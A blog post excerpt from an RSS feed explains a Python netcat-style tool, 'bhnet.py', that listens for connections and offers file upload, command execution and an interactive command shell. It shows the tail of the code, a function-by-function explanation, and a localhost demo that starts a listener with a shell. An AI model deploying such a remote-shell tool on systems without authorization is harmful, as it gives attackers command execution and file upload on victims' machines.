<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-p&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--port&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">int</span><span style="color: #F8F8F2">(a)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">assert</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;Unhandled Option&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> getopt.GetoptError </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> err:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(err))</span></span>
<span class="line"><span style="color: #F8F8F2">        usage()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># are we going to listen or just send data from STDIN?</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> listen </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(target) </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> port </span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read in the buffer from the commandline</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># this will block, so send CTRL-D if not sending input</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># to stdin</span></span>
<span class="line"><span style="color: #F8F8F2">        buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sys.stdin.read()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># send data off</span></span>
<span class="line"><span style="color: #F8F8F2">        client_sender(buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># we are going to listen and potentially</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># upload things, execute commands and drop a shell back</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># depending on our command line options above</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> listen:</span></span>
<span class="line"><span style="color: #F8F8F2">        server_loop()</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">main()</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><h2>Explanation:</h2>
<ol>
<li>
<p><strong>Global Variables:</strong></p>
<ul>
<li><code>listen</code>, <code>command</code>, <code>upload</code>, <code>execute</code>: Flags indicating whether the script should listen for incoming connections, execute a specific command, upload a file, or initiate a command shell.</li>
<li><code>target</code>: The target IP address.</li>
<li><code>upload_destination</code>: The destination path for uploaded files.</li>
<li><code>port</code>: The port number for the connection.</li>
</ul>
</li>
<li>
<p><strong><code>run_command</code> Function:</strong></p>
<ul>
<li>Executes a command using <code>subprocess.check_output</code>.</li>
<li>Returns the output of the command.</li>
</ul>
</li>
<li>
<p><strong><code>client_handler</code> Function:</strong></p>
<ul>
<li>Handles the incoming client connections.</li>
<li>Supports file uploads, command execution, and an interactive command shell.</li>
</ul>
</li>
<li>
<p><strong><code>server_loop</code> Function:</strong></p>
<ul>
<li>Listens for incoming connections and spawns a new thread for each client.</li>
</ul>
</li>
<li>
<p><strong><code>client_sender</code> Function:</strong></p>
<ul>
<li>Connects to the specified target and port.</li>
<li>Sends user input (or a pre-defined buffer) to the target.</li>
<li>Receives and prints the response.</li>
</ul>
</li>
<li>
<p><strong><code>usage</code> Function:</strong></p>
<ul>
<li>Displays the usage information for the script.</li>
</ul>
</li>
<li>
<p><strong><code>main</code> Function:</strong></p>
<ul>
<li>Parses command-line arguments using <code>getopt</code>.</li>
<li>Sets the appropriate global variables based on the command-line options.</li>
<li>Calls either <code>client_sender</code> or <code>server_loop</code> based on the provided options.</li>
</ul>
</li>
<li>
<p><strong>Command-Line Options:</strong></p>
<ul>
<li><code>-t</code> or <code>--target</code>: Specifies the target IP address.</li>
<li><code>-p</code> or <code>--port</code>: Specifies the port number.</li>
<li><code>-l</code> or <code>--listen</code>: Listens for incoming connections.</li>
<li><code>-e</code> or <code>--execute</code>: Executes a specified command on the target.</li>
<li><code>-c</code> or <code>--commandshell</code>: Initializes an interactive command shell.</li>
<li><code>-u</code> or <code>--upload</code>: Uploads a file to the target.</li>
</ul>
</li>
<li>
<p><strong>Examples:</strong></p>
<ul>
<li>Provides usage examples for different scenarios.</li>
</ul>
</li>
<li>
<p><strong>Execution:</strong></p>
</li>
</ol>
<ul>
<li>Calls the <code>main</code> function to start the script based on the provided command-line arguments.</li>
</ul>
<p><strong>Write this is in one terminal:</strong></p>
<pre><code class="language-bash">python3 bhnet.py -l -p 9999 -c
</code></pre>
<p><strong>Open new terminal:</strong></p>
<pre><code class="language-bash">python3 bhnet.py -t localhost -p 9999
</code></pre>
<p><strong>&lt;CTRL-D&gt;</strong></p>
<pre><code class="language-bash">ls -la
</code></pre>
<p><strong>Note:</strong></p>
<ul>
<li>This script has security implications and can be misused. Ensure that you have the necessary permissions and legal authorization before using such tools.</li>
<li>The script lacks proper error handling, logging, and security measures, making it unsuitable for production environments.</li>
<li>Be cautious when running code obtained from untrusted sources, especially if it involves network interactions or system commands.</li>
</ul>
</div>
<p>The post <a href="https://awjunaid.com/networking/a-simple-network-client-and-server-to-push-files-and-command-line-access/">A simple network client and server to push files and command-line access</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/a-simple-network-client-and-server-to-push-files-and-command-line-access/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8908</post-id>	</item>
	</channel>
</rss>
